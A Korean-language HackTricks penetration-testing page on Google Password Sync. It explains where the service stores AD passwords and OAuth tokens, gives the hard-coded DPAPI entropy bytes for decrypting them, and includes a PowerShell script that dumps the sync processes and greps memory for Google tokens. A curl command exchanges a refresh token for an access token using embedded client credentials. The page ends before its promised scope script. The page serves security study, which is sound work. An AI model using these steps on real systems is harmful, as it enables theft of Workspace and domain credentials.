GPS - Google Password Sync

Support HackTricks

๊ธฐ๋ณธ ์ •๋ณด

์ด๊ฒƒ์€ Google์ด AD์™€ Workspace ๊ฐ„์˜ ์‚ฌ์šฉ์ž ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ๋™๊ธฐํ™”ํ•˜๊ธฐ ์œ„ํ•ด ์ œ๊ณตํ•˜๋Š” ๋ฐ”์ด๋„ˆ๋ฆฌ ๋ฐ ์„œ๋น„์Šค์ž…๋‹ˆ๋‹ค. ์‚ฌ์šฉ์ž๊ฐ€ AD์—์„œ ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ๋ณ€๊ฒฝํ•  ๋•Œ๋งˆ๋‹ค Google์— ์„ค์ •๋ฉ๋‹ˆ๋‹ค.

C:\Program Files\Google\Password Sync์— ์„ค์น˜๋˜๋ฉฐ, ์—ฌ๊ธฐ์—์„œ ๊ตฌ์„ฑํ•  ์ˆ˜ ์žˆ๋Š” ๋ฐ”์ด๋„ˆ๋ฆฌ PasswordSync.exe์™€ ๊ณ„์† ์‹คํ–‰๋  ์„œ๋น„์Šค์ธ password_sync_service.exe๋ฅผ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

GPS - ๊ตฌ์„ฑ

์ด ๋ฐ”์ด๋„ˆ๋ฆฌ(๋ฐ ์„œ๋น„์Šค)๋ฅผ ๊ตฌ์„ฑํ•˜๋ ค๋ฉด Workspace์—์„œ Super Admin ์ฃผ์ฒด์— ๋Œ€ํ•œ ์•ก์„ธ์Šค๋ฅผ ์ œ๊ณตํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค:

  • Google์„ ํ†ตํ•ด OAuth๋กœ ๋กœ๊ทธ์ธํ•œ ํ›„ ๋ ˆ์ง€์ŠคํŠธ๋ฆฌ์— ํ† ํฐ์„ ์ €์žฅํ•ฉ๋‹ˆ๋‹ค(์•”ํ˜ธํ™”๋จ)

  • GUI๊ฐ€ ์žˆ๋Š” ๋„๋ฉ”์ธ ์ปจํŠธ๋กค๋Ÿฌ์—์„œ๋งŒ ์‚ฌ์šฉ ๊ฐ€๋Šฅ

  • Workspace ์‚ฌ์šฉ์ž ๊ด€๋ฆฌ ๊ถŒํ•œ์ด ์žˆ๋Š” GCP์˜ ์„œ๋น„์Šค ๊ณ„์ • ์ž๊ฒฉ ์ฆ๋ช…(json ํŒŒ์ผ) ์ œ๊ณต

  • ์ด๋Ÿฌํ•œ ์ž๊ฒฉ ์ฆ๋ช…์€ ๋งŒ๋ฃŒ๋˜์ง€ ์•Š์œผ๋ฏ€๋กœ ์•…์šฉ๋  ์ˆ˜ ์žˆ์–ด ๋งค์šฐ ๋‚˜์œ ์•„์ด๋””์–ด์ž…๋‹ˆ๋‹ค.

  • SA๊ฐ€ Workspace์— ๋Œ€ํ•œ ์•ก์„ธ์Šค๋ฅผ ๊ฐ–๋Š” ๊ฒƒ์€ ๋งค์šฐ ๋‚˜์œ ์•„์ด๋””์–ด์ž…๋‹ˆ๋‹ค. SA๊ฐ€ GCP์—์„œ ์†์ƒ๋  ๊ฒฝ์šฐ Workspace๋กœ ํ”ผ๋ฒ—ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

  • Google์€ GUI๊ฐ€ ์—†๋Š” ๋„๋ฉ”์ธ ์ œ์–ด๋ฅผ ์œ„ํ•ด ์ด๋ฅผ ์š”๊ตฌํ•ฉ๋‹ˆ๋‹ค.

  • ์ด๋Ÿฌํ•œ ์ž๊ฒฉ ์ฆ๋ช…๋„ ๋ ˆ์ง€์ŠคํŠธ๋ฆฌ์— ์ €์žฅ๋ฉ๋‹ˆ๋‹ค.

AD์™€ ๊ด€๋ จํ•˜์—ฌ ํ˜„์žฌ ์‘์šฉ ํ”„๋กœ๊ทธ๋žจ ์ปจํ…์ŠคํŠธ, ์ต๋ช… ๋˜๋Š” ํŠน์ • ์ž๊ฒฉ ์ฆ๋ช…์„ ์‚ฌ์šฉํ•˜๋„๋ก ์ง€์ •ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ž๊ฒฉ ์ฆ๋ช… ์˜ต์…˜์ด ์„ ํƒ๋˜๋ฉด ์‚ฌ์šฉ์ž ์ด๋ฆ„์€ ๋””์Šคํฌ์˜ ํŒŒ์ผ์— ์ €์žฅ๋˜๊ณ  ๋น„๋ฐ€๋ฒˆํ˜ธ๋Š” ์•”ํ˜ธํ™”๋˜์–ด ๋ ˆ์ง€์ŠคํŠธ๋ฆฌ์— ์ €์žฅ๋ฉ๋‹ˆ๋‹ค.

GPS - ๋””์Šคํฌ์—์„œ ๋น„๋ฐ€๋ฒˆํ˜ธ ๋ฐ ํ† ํฐ ๋คํ”„

Winpeas๊ฐ€ GPS๋ฅผ ๊ฐ์ง€ํ•˜๊ณ  ๊ตฌ์„ฑ์— ๋Œ€ํ•œ ์ •๋ณด๋ฅผ ์–ป์œผ๋ฉฐ ๋น„๋ฐ€๋ฒˆํ˜ธ์™€ ํ† ํฐ์„ ๋ณตํ˜ธํ™”ํ•  ์ˆ˜ ์žˆ๋‹ค๋Š” ์ ์— ์œ ์˜ํ•˜์„ธ์š”.

ํŒŒ์ผ **C:\ProgramData\Google\Google Apps Password Sync\config.xml**์—์„œ ๊ตฌ์„ฑ์˜ ์ผ๋ถ€์ธ **baseDN**๊ณผ ์‚ฌ์šฉ ์ค‘์ธ ์ž๊ฒฉ ์ฆ๋ช…์˜ **username**์„ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๋ ˆ์ง€์ŠคํŠธ๋ฆฌ **HKLM\Software\Google\Google Apps Password Sync**์—์„œ ์•”ํ˜ธํ™”๋œ ์ƒˆ๋กœ ๊ณ ์นจ ํ† ํฐ๊ณผ AD ์‚ฌ์šฉ์ž(์žˆ๋Š” ๊ฒฝ์šฐ)์˜ ์•”ํ˜ธํ™”๋œ ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋˜ํ•œ, ํ† ํฐ ๋Œ€์‹  SA ์ž๊ฒฉ ์ฆ๋ช…์ด ์‚ฌ์šฉ๋˜๋Š” ๊ฒฝ์šฐ ํ•ด๋‹น ์ž๊ฒฉ ์ฆ๋ช…๋„ ์ด ๋ ˆ์ง€์ŠคํŠธ๋ฆฌ ์ฃผ์†Œ์— ์•”ํ˜ธํ™”๋˜์–ด ์ €์žฅ๋ฉ๋‹ˆ๋‹ค. ์ด ๋ ˆ์ง€์ŠคํŠธ๋ฆฌ ๋‚ด์˜ ๊ฐ’์€ ๊ด€๋ฆฌ์ž๋งŒ ์•ก์„ธ์Šคํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์•”ํ˜ธํ™”๋œ ๋น„๋ฐ€๋ฒˆํ˜ธ(์žˆ๋Š” ๊ฒฝ์šฐ)๋Š” ADPassword ํ‚ค ๋‚ด์— ์žˆ์œผ๋ฉฐ CryptProtectData API๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์•”ํ˜ธํ™”๋ฉ๋‹ˆ๋‹ค. ์ด๋ฅผ ๋ณตํ˜ธํ™”ํ•˜๋ ค๋ฉด ๋น„๋ฐ€๋ฒˆํ˜ธ ๋™๊ธฐํ™”๋ฅผ ๊ตฌ์„ฑํ•œ ์‚ฌ์šฉ์ž์™€ ๋™์ผํ•ด์•ผ ํ•˜๋ฉฐ, **CryptUnprotectData**๋ฅผ ์‚ฌ์šฉํ•  ๋•Œ ์ด ์—”ํŠธ๋กœํ”ผ๋ฅผ ์‚ฌ์šฉํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค: byte[] entropyBytes = new byte[] { 0xda, 0xfc, 0xb2, 0x8d, 0xa0, 0xd5, 0xa8, 0x7c, 0x88, 0x8b, 0x29, 0x51, 0x34, 0xcb, 0xae, 0xe9 };

์•”ํ˜ธํ™”๋œ ํ† ํฐ(์žˆ๋Š” ๊ฒฝ์šฐ)์€ AuthToken ํ‚ค ๋‚ด์— ์žˆ์œผ๋ฉฐ CryptProtectData API๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์•”ํ˜ธํ™”๋ฉ๋‹ˆ๋‹ค. ์ด๋ฅผ ๋ณตํ˜ธํ™”ํ•˜๋ ค๋ฉด ๋น„๋ฐ€๋ฒˆํ˜ธ ๋™๊ธฐํ™”๋ฅผ ๊ตฌ์„ฑํ•œ ์‚ฌ์šฉ์ž์™€ ๋™์ผํ•ด์•ผ ํ•˜๋ฉฐ, **CryptUnprotectData**๋ฅผ ์‚ฌ์šฉํ•  ๋•Œ ์ด ์—”ํŠธ๋กœํ”ผ๋ฅผ ์‚ฌ์šฉํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค: byte[] entropyBytes = new byte[] { 0x00, 0x14, 0x0b, 0x7e, 0x8b, 0x18, 0x8f, 0x7e, 0xc5, 0xf2, 0x2d, 0x6e, 0xdb, 0x95, 0xb8, 0x5b }; ๋˜ํ•œ, 0123456789abcdefghijklmnopqrstv ์‚ฌ์ „์„ ์‚ฌ์šฉํ•˜์—ฌ base32hex๋กœ ์ธ์ฝ”๋”ฉ๋ฉ๋‹ˆ๋‹ค.

์—”ํŠธ๋กœํ”ผ ๊ฐ’์€ ๋„๊ตฌ๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ๋ฐœ๊ฒฌ๋˜์—ˆ์Šต๋‹ˆ๋‹ค. ์ด ๋„๊ตฌ๋Š” CryptUnprotectData ๋ฐ CryptProtectData ํ˜ธ์ถœ์„ ๋ชจ๋‹ˆํ„ฐ๋งํ•˜๋„๋ก ๊ตฌ์„ฑ๋˜์—ˆ์œผ๋ฉฐ, ๊ทธ๋Ÿฐ ๋‹ค์Œ PasswordSync.exe๋ฅผ ์‹คํ–‰ํ•˜๊ณ  ๋ชจ๋‹ˆํ„ฐ๋งํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ๋˜์—ˆ์Šต๋‹ˆ๋‹ค. ์ด ๋„๊ตฌ๋Š” ๊ตฌ์„ฑ๋œ ๋น„๋ฐ€๋ฒˆํ˜ธ์™€ ์ธ์ฆ ํ† ํฐ์„ ์ฒ˜์Œ์— ๋ณตํ˜ธํ™”ํ•˜๊ณ , ๋‘ ๊ฒฝ์šฐ ๋ชจ๋‘ ์‚ฌ์šฉ๋œ ์—”ํŠธ๋กœํ”ผ์˜ ๊ฐ’์„ ํ‘œ์‹œํ•ฉ๋‹ˆ๋‹ค:

์ด API ํ˜ธ์ถœ์˜ ์ž…๋ ฅ ๋˜๋Š” ์ถœ๋ ฅ์—์„œ ๋ณตํ˜ธํ™”๋œ ๊ฐ’์„ ๋ณผ ์ˆ˜ ์žˆ๋‹ค๋Š” ์ ์— ์œ ์˜ํ•˜์„ธ์š”(Winpeas๊ฐ€ ์ž‘๋™์„ ๋ฉˆ์ถ˜ ๊ฒฝ์šฐ).

๋น„๋ฐ€๋ฒˆํ˜ธ ๋™๊ธฐํ™”๊ฐ€ SA ์ž๊ฒฉ ์ฆ๋ช…์œผ๋กœ ๊ตฌ์„ฑ๋œ ๊ฒฝ์šฐ, ๋ ˆ์ง€์ŠคํŠธ๋ฆฌ HKLM\Software\Google\Google Apps Password Sync ๋‚ด์˜ ํ‚ค์— ์ €์žฅ๋ฉ๋‹ˆ๋‹ค.

GPS - ๋ฉ”๋ชจ๋ฆฌ์—์„œ ํ† ํฐ ๋คํ”„

GCPW์™€ ๋งˆ์ฐฌ๊ฐ€์ง€๋กœ PasswordSync.exe ๋ฐ password_sync_service.exe ํ”„๋กœ์„ธ์Šค์˜ ๋ฉ”๋ชจ๋ฆฌ๋ฅผ ๋คํ”„ํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์ด๋ฏธ ์ƒ์„ฑ๋œ ๊ฒฝ์šฐ ์ƒˆ๋กœ ๊ณ ์นจ ๋ฐ ์•ก์„ธ์Šค ํ† ํฐ์„ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. AD ๊ตฌ์„ฑ ์ž๊ฒฉ ์ฆ๋ช…๋„ ์ฐพ์„ ์ˆ˜ ์žˆ์„ ๊ฒƒ์ž…๋‹ˆ๋‹ค.

๋คํ”„ PasswordSync.exe ๋ฐ password_sync_service.exe ํ”„๋กœ์„ธ์Šค ๋ฐ ํ† ํฐ ๊ฒ€์ƒ‰

```powershell # Define paths for Procdump and Strings utilities $procdumpPath = "C:\Users\carlos-local\Downloads\SysinternalsSuite\procdump.exe" $stringsPath = "C:\Users\carlos-local\Downloads\SysinternalsSuite\strings.exe" $dumpFolder = "C:\Users\Public\dumps"

Regular expressions for tokens

$tokenRegexes = @( "ya29.[a-zA-Z0-9_.-]{50,}", "1//[a-zA-Z0-9_.-]{50,}" )

Show EULA if it wasn't accepted yet for strings

$stringsPath

Create a directory for the dumps if it doesn't exist

if (!(Test-Path $dumpFolder)) { New-Item -Path $dumpFolder -ItemType Directory }

Get all Chrome process IDs

$processNames = @("PasswordSync", "password_sync_service") $chromeProcesses = Get-Process | Where-Object { $processNames -contains $_.Name } | Select-Object -ExpandProperty Id

Dump each Chrome process

foreach ($processId in $chromeProcesses) { Write-Output "Dumping process with PID: $processId" & $procdumpPath -accepteula -ma $processId "$dumpFolder\chrome_$processId.dmp" }

Extract strings and search for tokens in each dump

Get-ChildItem $dumpFolder -Filter "*.dmp" | ForEach-Object { $dumpFile = $.FullName $baseName = $.BaseName $asciiStringsFile = "$dumpFolder${baseName}_ascii_strings.txt" $unicodeStringsFile = "$dumpFolder${baseName}_unicode_strings.txt"

Write-Output "Extracting strings from $dumpFile" & $stringsPath -accepteula -n 50 -nobanner $dumpFile > $asciiStringsFile & $stringsPath -n 50 -nobanner -u $dumpFile > $unicodeStringsFile

$outputFiles = @($asciiStringsFile, $unicodeStringsFile)

foreach ($file in $outputFiles) { foreach ($regex in $tokenRegexes) {

$matches = Select-String -Path $file -Pattern $regex -AllMatches

$uniqueMatches = @{}

foreach ($matchInfo in $matches) { foreach ($match in $matchInfo.Matches) { $matchValue = $match.Value if (-not $uniqueMatches.ContainsKey($matchValue)) { $uniqueMatches[$matchValue] = @{ LineNumber = $matchInfo.LineNumber LineText = $matchInfo.Line.Trim() FilePath = $matchInfo.Path } } } }

foreach ($matchValue in $uniqueMatches.Keys) { $info = $uniqueMatches[$matchValue] Write-Output "Match found in file '$($info.FilePath)' on line $($info.LineNumber): $($info.LineText)" } }

Write-Output "" } }

</details>

### GPS - ๋ฆฌํ”„๋ ˆ์‹œ ํ† ํฐ์œผ๋กœ ์•ก์„ธ์Šค ํ† ํฐ ์ƒ์„ฑ

๋ฆฌํ”„๋ ˆ์‹œ ํ† ํฐ์„ ์‚ฌ์šฉํ•˜์—ฌ ๋‹ค์Œ ๋ช…๋ น์— ์ง€์ •๋œ ํด๋ผ์ด์–ธํŠธ ID์™€ ํด๋ผ์ด์–ธํŠธ ๋น„๋ฐ€์„ ์‚ฌ์šฉํ•˜์—ฌ ์•ก์„ธ์Šค ํ† ํฐ์„ ์ƒ์„ฑํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:
```bash
curl -s --data "client_id=812788789386-chamdrfrhd1doebsrcigpkb3subl7f6l.apps.googleusercontent.com" \
--data "client_secret=4YBz5h_U12lBHjf4JqRQoQjA" \
--data "grant_type=refresh_token" \
--data "refresh_token=1//03pJpHDWuak63CgYIARAAGAMSNwF-L9IrfLo73ERp20Un2c9KlYDznWhKJOuyXOzHM6oJaO9mqkBx79LjKOdskVrRDGgvzSCJY78" \
https://www.googleapis.com/oauth2/v4/token

GPS - Scopes

๋ฆฌํ”„๋ ˆ์‹œ ํ† ํฐ์ด ์žˆ๋”๋ผ๋„, ์•ก์„ธ์Šค ํ† ํฐ์„ ์ƒ์„ฑํ•˜๋Š” ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์—์„œ ์ง€์›ํ•˜๋Š” ์Šค์ฝ”ํ”„๋งŒ ์š”์ฒญํ•  ์ˆ˜ ์žˆ๊ธฐ ๋•Œ๋ฌธ์— ์•ก์„ธ์Šค ํ† ํฐ์— ๋Œ€ํ•œ ์Šค์ฝ”ํ”„๋ฅผ ์š”์ฒญํ•˜๋Š” ๊ฒƒ์€ ๋ถˆ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค.

๋˜ํ•œ, ๋ฆฌํ”„๋ ˆ์‹œ ํ† ํฐ์€ ๋ชจ๋“  ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์—์„œ ์œ ํšจํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค.

๊ธฐ๋ณธ์ ์œผ๋กœ GPS๋Š” ์‚ฌ์šฉ์ž๊ฐ€ ๋ชจ๋“  ๊ฐ€๋Šฅํ•œ OAuth ์Šค์ฝ”ํ”„์— ์ ‘๊ทผํ•  ์ˆ˜ ์—†์œผ๋ฏ€๋กœ, ๋‹ค์Œ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ refresh_token์œผ๋กœ access_token์„ ์ƒ์„ฑํ•˜๋Š” ๋ฐ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋Š” ์Šค์ฝ”ํ”„๋ฅผ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

Last updated